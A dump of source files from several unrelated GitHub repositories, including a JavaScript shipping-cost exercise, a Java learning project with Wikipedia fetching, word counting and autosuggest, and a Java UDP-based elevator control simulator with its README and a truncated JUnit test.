MAX_LEFT) { moveRight = false; } else if (currentLeft < MIN_LEFT) { moveRight = true; } britney.style.left = getNextPosition(currentLeft, moveRight) + 'px'; } function getNextPosition(currentLeft, moveRight) { if (moveRight) { return currentLeft + MOVEMENT_STEP; } return currentLeft - MOVEMENT_STEP; } })();
a0f1ba3abb4cf6839ed7cef2d163361ee8d00a41
[ "JavaScript" ]
1
JavaScript
jeznag/WhenMissilesAttack
28faf03cc7ac5339cb9277771a29f088f878f06d
9a2e21816e7706fbe84584aa6151c404d869f256
refs/heads/master
<file_sep>const china = "китай"; const chili = "чили"; const australia = "австралия"; const india = "индия"; const jamaica = "ямайка"; const userAnswer = prompt("Введите название страны доставки"); switch (userAnswer.toLowerCase()) { case china: console.log(`Доставка в ${userAnswer} будет стоить 100 кредитов`); break; case chili: console.log(`Доставка в ${userAnswer} будет стоить 250 кредитов`); break; case australia: console.log(`Доставка в ${userAnswer} будет стоить 170 кредитов`); break; case india: console.log(`Доставка в ${userAnswer} будет стоить 80 кредитов`); break; case jamaica: console.log(`Доставка в ${userAnswer} будет стоить 120 кредитов`); break; default: alert("В вашей стране нет доставки, досвидос"); }
c9f322cb49eb20988acbd3c369a925dc1f332ca0
[ "JavaScript" ]
1
JavaScript
AndriiSorokin/goit-js-hw-01
640674a139aefb8f6b8576524d27cf8056a11d51
59a3c9fd2aae1e7e9409c6bbb5be7f0013588b28
refs/heads/master
<file_sep># java-learning-azhar 1.code-refactor module contains refactored code where our primary motive was to show how object oriented programming differs from procedural . 2.CsvSplitter module reads a CSV file and splits it into multiple CSV files using fork and join framework . <file_sep>package com.autosuggest; import java.io.IOException; import java.nio.charset.Charset; import java.nio.file.Files; import java.nio.file.Path; import java.util.Collections; import java.util.Set; import java.util.concurrent.RecursiveTask; import java.util.logging.Level; import java.util.logging.Logger; import java.util.stream.Collectors; import java.util.stream.Stream; public class TextParsingTask extends RecursiveTask<Set<String>> { private static final long serialVersionUID = 6192399251556483953L; private Path filePath; private static final Logger logger = Logger.getLogger(TextParsingTask.class.getName()); public TextParsingTask(Path p) { this.filePath = p; } @Override protected Set<String> compute() { // TODO Auto-generated method stub Set<String> uniqueWordsSet; try { uniqueWordsSet = Files.readAllLines(filePath, Charset.defaultCharset()).stream() .flatMap(line -> Stream.of(line.split("\\s+"))).filter(word->word.length()>0) .collect(Collectors.toSet()); } catch (IOException e) { logger.log(Level.SEVERE, "IO Exception occured", e); return Collections.emptySet(); } // logger.log(Level.INFO,"keywords are "+uniqueWordsSet); return uniqueWordsSet; } } <file_sep>package com.wordcount; import java.io.IOException; import java.util.Map; import java.util.logging.Level; import java.util.logging.Logger; public class WordCount { final static String inputDirectoryPath = "/home/azharm/Documents/WordCountInputDirectory"; private static final Logger logger = Logger.getLogger(WordCount.class.getName()); public static void main(String[] args) { try { Map<String, Long> wordCountMap = ForkJoinWordCount.wordCount(inputDirectoryPath); for (Map.Entry<String, Long> entry : wordCountMap.entrySet()) { logger.info(entry.getKey() + " : " + entry.getValue()); } } catch (IOException e) { logger.log(Level.SEVERE, "IO Exception occured", e); } } } <file_sep>package com.wikigenerator; import java.io.BufferedReader; import java.io.FileWriter; import java.io.IOException; import java.io.InputStreamReader; import java.net.HttpURLConnection; import java.net.URL; import org.json.simple.JSONObject; import org.json.simple.parser.JSONParser; import org.json.simple.parser.ParseException; /** * * @author azharm * */ public class WikiThread implements Runnable { private String queryWord; final static String outputDirectoryPath = "/home/azharm/Documents/OutputDirectory/"; public WikiThread(String word) { this.queryWord = word; } @Override public void run() { try { URL url = new URL("https://en.wikipedia.org/api/rest_v1/page/summary/" + queryWord); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setRequestMethod("GET"); conn.setRequestProperty("Accept", "application/json"); if (conn.getResponseCode() != 200) { throw new RuntimeException("Failed : HTTP error code : " + conn.getResponseCode()); } BufferedReader br = new BufferedReader(new InputStreamReader((conn.getInputStream()))); StringBuilder outputString = new StringBuilder(); String output; while ((output = br.readLine()) != null) { outputString.append(output); } conn.disconnect(); JSONParser parser = new JSONParser(); JSONObject json = (JSONObject) parser.parse(outputString.toString()); String extractField = null; extractField = (String) json.get("extract"); if (extractField != null) { writeToFile(extractField); } else { // TODO: ADD LOGGER System.out.println("No extract field found for query word"+queryWord); } br.close(); } catch (IOException | ParseException e) { // TODO ADD LOGGER e.printStackTrace(); } } /** * @param lines * This method writes the provided input lines to an output csv file * and increments the atomic integer value */ private void writeToFile(String line) { try (FileWriter fw = new FileWriter(outputDirectoryPath + queryWord + ".txt")) { fw.write(line); } catch (IOException e) { //TODO: ADD LOGGER e.printStackTrace(); } } } <file_sep>package com.autosuggest; import java.util.Collection; import java.util.Scanner; import java.util.Set; import java.util.logging.Level; import java.util.logging.Logger; public class AutoSuggest { final static String inputDirectoryPath = "/home/azharm/Documents/AutoSuggestInputDirectory"; private static final Logger logger = Logger.getLogger(AutoSuggest.class.getName()); public static void main(String[] args) { logger.log(Level.INFO, "Parsing the files and building a trie"); Set<String> wordsSet = ForkJoinParseTextFiles.createDistinctKeyWordsSet(inputDirectoryPath); Trie trie = new Trie(); createTrie(trie, wordsSet); logger.log(Level.INFO,"Trie create successfully"); Scanner sc = new Scanner(System.in); logger.log(Level.INFO, "Please enter a keyword:"); String string = sc.nextLine(); Collection<String> col = trie.autoComplete(string); logger.log(Level.INFO, col.toString()); sc.close(); } public static void createTrie(Trie tr, Set<String> wordsSet) { for (String word : wordsSet) { tr.insert(word); } } } <file_sep> package com.refactor; import java.io.Serializable; import java.util.Date; /** * Book : Simple data class representing Book data. * * @author azharm * */ public abstract class Book implements Serializable { private static final long serialVersionUID = -7348792584072115788L; private Date releaseDate; private long id; private String title; private int bookCategory; public Book(final String title, final int bookCategory, final Date releaseDate) { this.title = title; this.bookCategory = bookCategory; this.releaseDate = releaseDate; } public Date getReleaseDate() { return releaseDate; } public void setReleaseDate(Date releaseDate) { this.releaseDate = releaseDate; } public long getId() { return id; } public void setId(long id) { this.id = id; } public String getTitle() { return title; } public void setTitle(String title) { this.title = title; } public int getBookCategory() { return bookCategory; } public void setBookCategory(int bookCategory) { this.bookCategory = bookCategory; } abstract public double fetchPrice(int rentedDays); abstract public int getPoints(int rentedDays); } <file_sep>package com.autosuggest; import static java.nio.file.Files.newDirectoryStream; import java.io.File; import java.io.IOException; import java.nio.file.DirectoryStream; import java.nio.file.Path; import java.util.ArrayList; import java.util.HashSet; import java.util.List; import java.util.Set; import java.util.concurrent.ForkJoinPool; import java.util.concurrent.ForkJoinTask; import java.util.concurrent.RecursiveTask; public class ForkJoinParseTextFiles extends RecursiveTask<Set<String>> { /** * */ private static final long serialVersionUID = -5316338989358807692L; private String directoryPath; public ForkJoinParseTextFiles(String inptDirectPath) { this.directoryPath = inptDirectPath; } public static Set<String> createDistinctKeyWordsSet(String inptDirectPath) { ForkJoinPool pool = new ForkJoinPool(Runtime.getRuntime().availableProcessors()); /** Each processor could potentially do one task */ return pool.submit(new ForkJoinParseTextFiles(inptDirectPath)).join(); } public static void mergeSets(Set<String> set1, Set<String> set2) { set1.addAll(set2); } @Override protected Set<String> compute() { List<ForkJoinTask<Set<String>>> tasks = new ArrayList<>(); File file = new File(directoryPath); try (DirectoryStream<Path> ds = newDirectoryStream(file.toPath())) { for (Path p : ds) { tasks.add(new TextParsingTask(p).fork()); } } catch (IOException e) { throw new RuntimeException(e); } Set<String> distinctWords = new HashSet<>(); for (ForkJoinTask<Set<String>> t : tasks) { mergeSets(distinctWords, t.join()); } return distinctWords; } } <file_sep><project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.learning</groupId> <artifactId>java-learning-azhar</artifactId> <version>0.0.1-SNAPSHOT</version> <packaging>pom</packaging> <modules> <module>code-refactor</module> <module>CsvSplitter</module> <module>WikiGenerator</module> <module>WordCount</module> <module>LruCache</module> <module>Generics</module> <module>AutoSuggest</module> </modules> </project><file_sep>package com.wikigenerator; import java.io.IOException; import java.util.List; public interface ParserInterface { public List<String> parseFile(String filePath) throws IOException; } <file_sep>package com.wordcount; import java.io.File; import java.io.IOException; import java.nio.file.DirectoryStream; import java.nio.file.Path; import java.util.*; import java.util.concurrent.ForkJoinPool; import java.util.concurrent.ForkJoinTask; import java.util.concurrent.RecursiveTask; import static java.nio.file.Files.newDirectoryStream; /** * * @author azharm * */ public class ForkJoinWordCount extends RecursiveTask<Map<String, Long>> { private static final long serialVersionUID = -7609809037445674241L; private String folderPath; public ForkJoinWordCount(String folderPath) { this.folderPath = folderPath; } /** * Creates several forked tasks to compute the word counts under the folder then * merges them * * @param folderName * @return * @throws IOException */ public static Map<String, Long> wordCount(String folderName) throws IOException { ForkJoinPool pool = new ForkJoinPool(Runtime.getRuntime().availableProcessors()); /** Each processor could potentially do one task */ return pool.submit(new ForkJoinWordCount(folderName)).join(); } /** * Merges counts of two maps * * @param map1 * @param map2 */ protected void mergeCounts(Map<String, Long> map1, Map<String, Long> map2) { for (Map.Entry<String, Long> entry : map2.entrySet()) { Long count = map1.get(entry.getKey()); count = count == null ? 0 : count; map1.put(entry.getKey(), count + entry.getValue()); } } /** Fork several jobs one per file */ @Override protected Map<String, Long> compute() { List<ForkJoinTask<Map<String, Long>>> tasks = new ArrayList<>(); File file = new File(folderPath); try (DirectoryStream<Path> ds = newDirectoryStream(file.toPath())) { for (Path p : ds) { tasks.add(new WordCountTask(p).fork()); } } catch (IOException e) { throw new RuntimeException(e); } Map<String, Long> totalCount = new HashMap<>(); for (ForkJoinTask<Map<String, Long>> t : tasks) { mergeCounts(totalCount, t.join()); } return totalCount; } }<file_sep>package com.refactor; import java.util.Date; /** * This class represents a fictional book. * * @author azharm * */ public class FictionalBook extends Book { private static final long serialVersionUID = 1L; public FictionalBook(final String title, final Date releaseDate) { super(title, 1, releaseDate); } @Override public double fetchPrice(int rentedDays) { double thisAmount = 0; thisAmount += 2; if (rentedDays > 2) thisAmount += (rentedDays - 2) * 1.5; return thisAmount; } @Override public int getPoints(int rentedDays) { if (rentedDays > 2) return 2; return 1; } }
6943dd976d19cd3adff9356be16387c40845dd8b
[ "Markdown", "Java", "Maven POM" ]
11
Markdown
azhar-mohammed/java-learning-azhar
1b674b2f29fe1f75f0d464ffd4d23ea7c8aaf502
2e17eb6c704c6fab818b835a3161be16f42e2bbd
refs/heads/master
<repo_name>gurnamsaluja2007/openplay<file_sep>/working_proj_26_nov/Makefile MONITOR_PORT=/dev/ttyS2 include /usr/share/arduino/Arduino.mk TARGETS=my_project run: upload python display_lcd.py <file_sep>/working_proj_26_nov/read_angle.ino //pins used for components const int buzzer = 4; const int sensor = A1; //this is the threshold value for the light sensor //to make the light sensor more sensitive, lower this value void setup(){ pinMode(sensor, INPUT); // set pin for button input Serial.begin(9600); //Serial.print("Waiting ..."); } void loop() { int sensorVal = analogRead(sensor); if (isnan(sensorVal)) { Serial.println("Failed to read"); return; } //Serial.print("G:Digital_val "); Serial.println(sensorVal); delay(2000); } <file_sep>/baadal_bharosa_v1/furnace.py import json import time import uuid import random from datetime import datetime def fake_temperature_sensor(): ''' Return a fake temperature as a double rounded to two points ''' return round(random.uniform(500, 700), 2) def fake_fan_sensor(): return (random.randint(100,300)) def report_fan(): ''' Write out temperature to a random json file ''' v = fake_fan_sensor() fname = str(uuid.uuid4()) + ".json" d = { 'metric': { 'name': 'Furnace Fan RPM', 'source': 'sensor_2', 'kind': 'gauge', 'unit': 'RPM', 'value': v, 'timestamp': int(time.time()), 'date': datetime.utcnow().strftime("%Y-%m-%d"), 'time': datetime.utcnow().strftime("%H-%M-%S") } } with open(fname, 'w') as fp: json.dump(d, fp) print("Recorded fan running at %d RPM in %s" %(v, fname)) def report_temp(): ''' Write out temperature to a random json file ''' v = fake_temperature_sensor() fname = str(uuid.uuid4()) + ".json" d = { 'metric': { 'name': 'Furnace Temperature', 'source': 'sensor_1', 'kind': 'gauge', 'unit': 'Farenheit', 'value': v, 'timestamp': int(time.time()), 'date': datetime.utcnow().strftime("%Y-%m-%d"), 'time': datetime.utcnow().strftime("%H-%M-%S") } } with open(fname, 'w') as fp: json.dump(d, fp) print("Recorded temperature sensor at %d Farenheit in %s" %(v, fname)) def main(): counter = 0 while True: if counter % 10 == 0: print("Furnace synced at loop: %d" % counter) if random.randint(0,1) == 1: report_temp() else: report_fan() time.sleep(5) counter = counter + 1 if __name__ == '__main__': main() <file_sep>/baadal_bharosa_v1/run_me.sh #!/bin/bash export PYTHONPATH=$PYTHONPATH:/usr/lib/python2.7/site-packages/upm cd /home/root/Desktop/gsingh_proj_git/openplay/baadal_bharosa_v1 make run <file_sep>/working_proj_26_nov/display_lcd.py import serial import json import time import uuid import random from datetime import datetime from upm import pyupm_jhd1313m1 ard = serial.Serial('/dev/ttyS2', 9600,timeout=1) lcd = pyupm_jhd1313m1.Jhd1313m1(0, 0x3e, 0x62) def showAngle(angle): lcd.clear() lcd.setCursor(0, 0) #lcd.write(humid) #lcd.setCursor(1, 0) lcd.write("Dig_val:" + angle + " Deg") lcd.setColor(255, 180, 180) def report_val(temp_val): ''' Write out temperature to a random json file ''' #v = fake_fan_sensor() fname = str(uuid.uuid4()) + ".json" d = { 'metric': { 'name': 'Furnace Temperature', 'source': 'sensor_1', 'kind': 'gauge', 'unit': 'Farenheit', 'value': temp_val, 'timestamp': int(time.time()), 'date': datetime.utcnow().strftime("%Y-%m-%d"), 'time': datetime.utcnow().strftime("%H-%M-%S") } } with open(fname, 'w') as fp: json.dump(d, fp) print("Recorded furnace temp at %s Farenheit in %s" %(temp_val, fname)) if __name__ == '__main__': print("Welcome to my world!!!") print("Serial port:",ard.name) #ard.write(b'helloos') try: while True: time.sleep(1) ardOut = ard.readline() print("Ardout ",ardOut) showAngle(ardOut) #report_val(ardOut) time.sleep(1) #if ardOut.find("Digital_val:") != -1: # showAngle("11") except KeyboardInterrupt: lcd.setColor(0,0,0) lcd.clear() print("CTRL-C!! Exiting...") <file_sep>/baadal_bharosa_v1/Makefile MONITOR_PORT=/dev/ttyS2 include /usr/share/arduino/Arduino.mk TARGETS=my_project run: upload python main.py <file_sep>/working_proj_26_nov/run_me.sh #!/bin/bash export PYTHONPATH=$PYTHONPATH:/usr/lib/python2.7/site-packages/upm #cd /home/root/Desktop/Sensor_Mezzanine_Getting_Started/my_project cd /home/root/Desktop/gsingh_proj_git/openplay/working_proj_07_dec make run
2d61acedd78c5f935b3c9f98f3f1ec46306792ae
[ "Python", "Makefile", "C++", "Shell" ]
7
Makefile
gurnamsaluja2007/openplay
afe8d92c529c1496042462f27c100e5db5190542
49135afab06800afec91c3ff2cb8de9b78541c10
refs/heads/master
<repo_name>ilhamrahman/Elevator-Control-Simulator<file_sep>/src/main/Elevator.java // Elevator.java package main; import java.io.IOException; import java.net.DatagramPacket; import java.net.DatagramSocket; import java.net.InetAddress; import java.net.SocketException; import java.net.UnknownHostException; import java.util.Arrays; import java.util.Collections; import java.util.LinkedList; /** * Represents the Elevator Subsystem, * which when instantiated notifies the * Scheduler subsystem of its existence and * sit idle till it receives a request. * When Message received from Scheduler it is * decoded and appropriate actions is taken such * closing doors or moving the elevator */ public class Elevator implements Runnable{ private DatagramSocket receiveSckt; private Thread motorThread, sensorThread, messageThread; private LinkedList<Integer>pendingDestinations; private int assignedSchedulerPort, currentFloor, destinationFloor, portNumber, direction; // 1 is up -1 is down private boolean doorsOpen; //false = door closed ; private int sensorCount, //sensorCount how many times to do 8s notification specialCase; //special movement with no 8s notification private long currentFloorTime, currentDoorTime; private Thread closeDoor; private InetAddress schedulerAddr; /** * Constructor for an Elevator * @param portNumber The Elevator * instance's portNumber on which to receive messages */ public Elevator(int portNumber, InetAddress addr) { this.portNumber = portNumber; this.currentFloor = 0; this.destinationFloor = 0; this.messageThread = new Thread(this, "messageThread"); this.pendingDestinations = new LinkedList<>(); this.doorsOpen = true; this.sensorCount = 0; this.schedulerAddr = addr; try { receiveSckt = new DatagramSocket(portNumber); }catch (SocketException e) { e.printStackTrace(); System.out.println("Elevator not created"); } } /** * Synchronizes the setting of the * direction field of an elevator * instance */ public void setDirection() { if(Math.abs(this.destinationFloor - this.currentFloor) == 0) { return; } this.direction = (this.destinationFloor - this.currentFloor)/ Math.abs(this.destinationFloor - this.currentFloor); } /** * Adds a floor number to the list of pending * destinations the elevator instance as to visit * @param destination The new floor number to add */ private void addPendingDest(int destination) { if(this.pendingDestinations.contains(destination)) { return; } this.pendingDestinations.add(destination); //if elevator going up then floors sorted in ascending order if(this.direction == 1) { Collections.sort(this.pendingDestinations); } //elevator going down then floors sorted in descending order else { Collections.sort(this.pendingDestinations, Collections.reverseOrder()); } } /** * The messageThread runs continuously listening for * messages sent to this elevator instance. */ private void processorFunction() { boolean breakOut = false; while(true) { if(breakOut) { break; } byte data[] = new byte[100]; DatagramPacket receivePckt = new DatagramPacket(data, data.length); // Block until a datagram packet is received from receiveSocket. try { this.receiveSckt.receive(receivePckt); } catch(IOException e) { //e.printStackTrace(); break; } switch(data[0]) { case 1: handleRegistrationConfirmed(data); break; case 2: this.closeDoor = new Thread(this,"closeDoor"); this.currentDoorTime = data[1]; this.closeDoor.start(); break; case 4: //Message received format: [4 - floor - carButton - direction(1 is up -1 is down) handleRequest(data); break; case 6: // receives byte 6, elevator can move this.motorThread = new Thread(this, "motorThread"); this.sensorThread = new Thread(this, "sensorThread"); System.out.println("Elevator with port:" + this.portNumber + " moving from:" + this.currentFloor + " to:" + this.destinationFloor); this.sensorThread.start(); this.motorThread.start(); break; case 8: //just stop motorThread and sensor thread handleStop(); break; case 11: //update pending destination updateDestination(); sendReady(); break; case 14: this.motorThread.interrupt(); this.sensorThread.interrupt(); this.closeDoor.interrupt(); breakOut = true; break; case 15: this.closeDoor.interrupt(); this.closeDoor = new Thread(this, "closeDoor"); this.currentDoorTime = data[1]; this.closeDoor.start(); break; default: System.out.println("Got unrecognized message"); } } } /** * Registering an elevator to a the specified port number , specifying the * direction of the elevator -1 is down and 1 is up * Third index being the direction key * @param data byte[] */ private void handleRegistrationConfirmed(byte[] data) { this.assignedSchedulerPort = data[1]; this.direction = data[2] == 1 ? 1 : -1; System.out.println("Elevator with port:" + this.portNumber + " received registration confirmed msg:[assignedSchedulerPort:" + this.assignedSchedulerPort + ", direction:" + (this.direction == 1 ? "Up" : "Down") + "]"); } /** * Sends packet to scheduler to tell the elevator has stopped */ private void handleStop() { if(this.sensorThread != null) // interrupt the sensor thread to open doors to service a request { this.sensorThread.interrupt();// interrupt sensor thread this.motorThread.interrupt(); // interrupt elevator this.doorsOpen = true; // open doors } byte[] stoppedMsg = new byte[] {9}; try { DatagramPacket stoppedPckt = new DatagramPacket(stoppedMsg, stoppedMsg.length, this.schedulerAddr, this.assignedSchedulerPort); DatagramSocket stoppedMsgSckt = new DatagramSocket(); stoppedMsgSckt.send(stoppedPckt); stoppedMsgSckt.close(); } catch (IOException e) { e.printStackTrace(); } } /** * The scheduler sends byte 2 indicating it to close the elevator doors */ private void handleDoorClose() { this.doorsOpen = false; byte[] doorClosedMsg = new byte[] {3}; // sends a byte 3 back to the scheduler, letting it know doors are closed try { long start = System.nanoTime(); long time = 500 + (this.currentDoorTime * 25); System.out.println("elevator before sleep sleep time is" + this.currentDoorTime + " and time " + time); Thread.sleep(time); System.out.println("after sleep " + (System.nanoTime() - start)); DatagramPacket doorClosedPckt = new DatagramPacket(doorClosedMsg, doorClosedMsg.length, this.schedulerAddr,this.assignedSchedulerPort); DatagramSocket doorClosedMsgSckt = new DatagramSocket(); doorClosedMsgSckt.send(doorClosedPckt); System.out.println("Elevator with port:" + this.portNumber + " closed its doors."); doorClosedMsgSckt.close(); } catch (IOException e) { e.printStackTrace(); } catch (InterruptedException e) { // TODO Auto-generated catch block //e.printStackTrace(); System.out.println("Intrrupted close doors"); } } /** * Update its new floor number, returns the next floor to be service from linked list * meaning that request has been serviced */ public void updateDestination() { this.destinationFloor = this.pendingDestinations.removeFirst(); System.out.println("destination is " + this.destinationFloor); this.setDirection(); this.sensorCount = Math.abs(this.currentFloor - this.destinationFloor); } /** * A request comes in with the floor number, destination floor and direction * @param data */ private void handleRequest(byte[] data) { //Message received format: [0 - floor - carButton - direction(1 is up -1 is down)] System.out.print("Elevator with port:" + this.portNumber + " received request with contents:["); System.out.println("FloorNum:" + data[1] + ", carButton:" + data[2] + ", direction:" + (data[3] == 1 ? "Up" : "Down") + "]"); if(this.currentFloor != data[1] ) { this.destinationFloor = data[1]; this.addPendingDest((int)data[2]); } else if(this.destinationFloor == data[1] || this.destinationFloor == data[2]) { this.destinationFloor = data[2]; } else if(direction == 1) // elevator request is in upwards direction { this.addPendingDest(this.destinationFloor < data[2] ? (int)data[2] : this.destinationFloor); // adds request to the linked list this.destinationFloor = this.destinationFloor < data[2] ? this.destinationFloor : data[2]; } else if(direction == -1) //elevator request in downwards direction { this.addPendingDest(this.destinationFloor < data[2] ? this.destinationFloor : data[2]); this.destinationFloor = this.destinationFloor < data[2] ? (int)data[2] : this.destinationFloor; } this.setDirection(); this.sensorCount = Math.abs(this.currentFloor - this.destinationFloor); // calculate the difference between the curr floor and destination floor this.specialCase = this.direction == data[3] ? this.specialCase : (this.specialCase | 0x00000001); this.currentFloorTime = (long)data[4]; System.out.println("currentfloortime is now " + data[4]); sendReady(); // send packet to scheduler ready to move } /** * Sends the request to the scheduler, it is ready to move */ private void sendReady() { byte[] elevatorReadyMsg = new byte[] {5, (byte)this.currentFloor, (byte)this.destinationFloor, (byte)this.direction}; try { DatagramPacket elevatorReadyPckt = new DatagramPacket(elevatorReadyMsg, elevatorReadyMsg.length ,this.schedulerAddr, this.assignedSchedulerPort); DatagramSocket elevatorReadySckt = new DatagramSocket(); /* System.out.println("Elevator wtih port:" + this.portNumber + " sending ReadyMsg with:[" + "currentFloor:" + this.currentFloor + ", destinationFloor:" + this.destinationFloor + ", direction:" + (this.direction == 1 ? "Up" : "Down") + "]");*/ elevatorReadySckt.send(elevatorReadyPckt); elevatorReadySckt.close(); }catch (IOException e) { e.printStackTrace(); } } /** * Method executed by initial thread assigned to an * instance of this runnable. It registers the instance * with the scheduler and then starts another Thread * to listen for messages on the instances portNumber */ public void start() { byte[] registerElev = new byte[] {0,0,0,1,0}; byte port = (byte) this.portNumber; registerElev[4] = port; try { //later on need elevator to know host of and port of scheduler when being instantiated DatagramPacket pck = new DatagramPacket(registerElev, registerElev.length, this.schedulerAddr,69); DatagramSocket soc = new DatagramSocket(); soc.send(pck); soc.close(); System.out.println("Elevator with port:" + this.portNumber + " sent registration msg:" + Arrays.toString(registerElev)); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } this.messageThread.start(); } /** * Sending a packet for every floor that is passed in between the current floor and destination floor * to the scheduler, if the special case is triggered the elevator will not stop to take requests */ public void sendSensorMsg() { if(Thread.currentThread().isInterrupted()) { return; } this.currentFloor = this.direction == 1 ? (this.currentFloor + 1) : (this.currentFloor - 1); // incrementing/decrementing floor based on direction byte[] sensorMsg = new byte[] {7, (byte)this.direction, (byte)this.specialCase, (byte)this.currentFloor}; // creates packet to try { DatagramPacket sensorPckt = new DatagramPacket(sensorMsg, sensorMsg.length, this.schedulerAddr, this.assignedSchedulerPort); DatagramSocket sensorSckt = new DatagramSocket(); sensorSckt.send(sensorPckt); System.out.println("Elevator with port:" + this.portNumber + " sending sensorMsg with[" + "approachingFloor:" + this.currentFloor + ", Don't_Stop(Special case):" + this.specialCase + "]"); sensorSckt.close(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } /** * Iterates for the floors between the current and destination floors * Sleeping the thread for each floor and sending the message to the scheduler */ public void sensorFunction() { while(this.sensorCount > 0) { long time = 2800 + (this.currentFloorTime * 70); try { Thread.sleep(time); // sleep for two seconds sendSensorMsg(); // send packet to let scheduler know this.sensorCount --; //Thread.sleep(500); } catch (InterruptedException e) { // TODO Auto-generated catch block //e.printStackTrace(); break; } } } /** * Mimics the movement of an elevator between floors * @return True if there are pending destinations still to * visit. False if no pending destinations */ private void mimicMovement() { //calculate the number of floors it needs to move int floorDiff = Math.abs(this.currentFloor - this.destinationFloor); try { Thread.sleep(floorDiff*3000); //if thread wakes up on its own then it got to the destination floor int anyPendingDest = this.pendingDestinations.isEmpty() ? 0 : 1; int destination = anyPendingDest == 1 ? this.pendingDestinations.peekFirst() : -1; byte[] arrivalMessage = new byte[5]; arrivalMessage[0] = 10;//byte 10 is used to represent arrival msg arrivalMessage[1] = (byte)anyPendingDest;// 1 if there is 0 if not arrivalMessage[2] = (byte)destination;//-1 if previous index is 0 otherwise floor No. arrivalMessage[3] = (byte)this.direction; DatagramPacket arrivalMsgPkt = new DatagramPacket(arrivalMessage, arrivalMessage.length, this.schedulerAddr,this.assignedSchedulerPort); DatagramSocket arrivalMsgSocket = new DatagramSocket(); arrivalMsgSocket.send(arrivalMsgPkt); arrivalMsgSocket.close(); this.specialCase = this.specialCase & 0x00000000; this.doorsOpen = true; System.out.println("Elevator with port:" + this.portNumber + " arrived at floor:" + this.currentFloor + " and opening doors"); /* System.out.println("Elevator with port:" + this.portNumber + " sending ArrivalMsg with:[pendingDestinationListEmpty:" + (anyPendingDest == 1 ? "True" : "False") + ", destinationAtHeadOfList:" + destination + "]");*/ } catch (IOException e) { //some better handling here(later iteration) //e.printStackTrace(); return; } catch (InterruptedException e) { System.out.printf("Elevator stopped at floor %d to answer request\n",this.currentFloor); return; } } /** * The run method of this runnable in which all threads * start */ public void run() { if (Thread.currentThread().getName().equals("messageThread")) { this.processorFunction(); System.out.println("Elevator crashed"); } else if (Thread.currentThread().getName().equals("motorThread")) { this.mimicMovement(); } else if(Thread.currentThread().getName().equals("sensorThread")) { this.sensorFunction(); } else if(Thread.currentThread().getName().equals("closeDoor")) { this.handleDoorClose(); } else { this.start(); } } public void stop() { this.messageThread.interrupt(); this.receiveSckt.close(); } /** * Method not to be used outside Unit testing * @return */ public synchronized int getDirection() { return this.direction; } /** * Method not to be used outside unit testing * @return */ public synchronized int getCurrentFloor() { return this.currentFloor; } /** * Method not to be used outside unit testing * @return */ public synchronized int getDestinationFloor() { return this.destinationFloor; } /** * Method not to be used outside unit testing * @return */ public synchronized int getPort() { return this.portNumber; } /** * Method not to be used outside unit testing * @return */ public synchronized int getAssignedPort() { return this.assignedSchedulerPort; } /** * Method not to be used outside unit testing * @return */ public synchronized boolean getDoorsOpen() { return this.doorsOpen; } /** * Method not to be used outside unit testing * @return */ public synchronized int getSensorCount() { return this.sensorCount; } /** * Method not to be used outside unit testing * @return */ public Boolean isSensorThreadExecuting() { return this.sensorThread.isAlive(); } /** * Method not to be used outside unit testing * @return */ public Boolean isMotorThreadExecuting() { return this.motorThread.isAlive(); } /** * * @param args */ public static void main(String[] args) { int basePort = 70; InetAddress addr; //index 0 ip address scheduler // index 1 # of elevator try { addr = InetAddress.getByName(args[0]); for(int i = 0; i < Integer.parseInt(args[1]); i++) { Elevator elev = new Elevator(basePort,addr); basePort++; elev.start(); } } catch (UnknownHostException e4) { // TODO Auto-generated catch block e4.printStackTrace(); } } }<file_sep>/README.txt Elevator Control Simulator Authors: <NAME>, <NAME>, <NAME>, <NAME>, <NAME> Contents: This zip contains L3G7_milestone_2 - Project folder /.project & /.classpath - Project files for Eclipse IDE /src - Source code /configuration /configuration.txt - Text file containing floor requests /main /Floor.java - Floor subsystem used to simulate arrival of passengers /FloorRequest.java - Used by Floor subsystem to pass necessary information /Scheduler.java - Scheduler subsystem used to accept input and send commands /SchedulerElevators.java - Scheduler creates a new instance of this for every elevator that sends a registration message /Elevator.java - Elevator subsystem used to simulate movement to pick/drop passengers /test /FloorTest.java - JUnit tests for Floor class /FloorRequestTest.java - JUnit tests for FloorRequest class /ElevatorTest.java - JUnit tests for Elevator class /SchedulerElevaorTest.java - JUit tests for SchedulerElevators class /.README.md - this file /.settings - Eclipse IDE Settings /bin - Build output folder /.travis.yml - Travis script for continuous integration /.pom.xml - Maven project configuration (It is recommended to open a new console for each running program) To setup and execute the project: 1. Unzip the files contained in L3G7_milestone_5 2. In Eclipse IDE, import the project (as an existing project) into your current workplace To run the program on separate computers: 3. Obtain the IP addresses of both computers 4. Open run configuration for Scheduler 5. Input the IP address for the computer running Floor and Elevator, also provide the number of floors and elevators in that order separated by spaces 6. Open run configuration for Elevator 7. Input the IP address for the computer running the Scheduler, also provide the number of elevators separated by spaces 8. Open run configuration for Floor 9. Input the IP address for the computer running the Scheduler 10. Execute the program on both computers To run the program on a single computer: 3. Obtain the IP address of the computer 4. Open run configuration for Floor 5. Input the IP address for the computer 6. Open run configuration for Scheduler 7. Input the IP address for the computer, also provide the number of floors and elevators in that order separated by spaces 8. Open run configuration for Elevator 9. Input the IP address for the computer, also provide the number of elevators separated by spaces 10. Execute the Scheduler, Elevator and Floor .java files in that order Responsibility breakdown: Each group member was equally responsible for the coding part of this iteration. Also, each group member contributed to creating the UML class diagram and state machine diagram <file_sep>/src/test/FloorTest.java package test; import static org.junit.Assert.assertTrue; import static org.junit.Assert.fail; import java.io.IOException; import java.net.DatagramPacket; import java.net.DatagramSocket; import java.net.InetAddress; import java.sql.Timestamp; import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.Arrays; import java.util.Date; import org.junit.Test; import main.Elevator; import main.Floor; import main.FloorRequest; public class FloorTest { Timestamp timestamp = null; Date parsedDate = null; @SuppressWarnings("deprecation") @Test // start listening to the Floor thread public void testRegistration() { FloorRequest fr = new FloorRequest(); Thread floorThread = new Thread(new Runnable() { @Override public void run() { Floor floor = new Floor(); } }); byte[] regist = new byte[300]; try { DatagramPacket registration = new 